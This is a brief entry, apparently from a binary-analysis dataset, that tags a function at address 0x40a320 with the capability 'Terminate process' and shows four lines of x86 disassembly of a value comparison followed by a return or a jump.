ret 4

Function at 0x40a320
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x423448]
jne 0x40a32a
repz ret
jmp fcn.0040f73c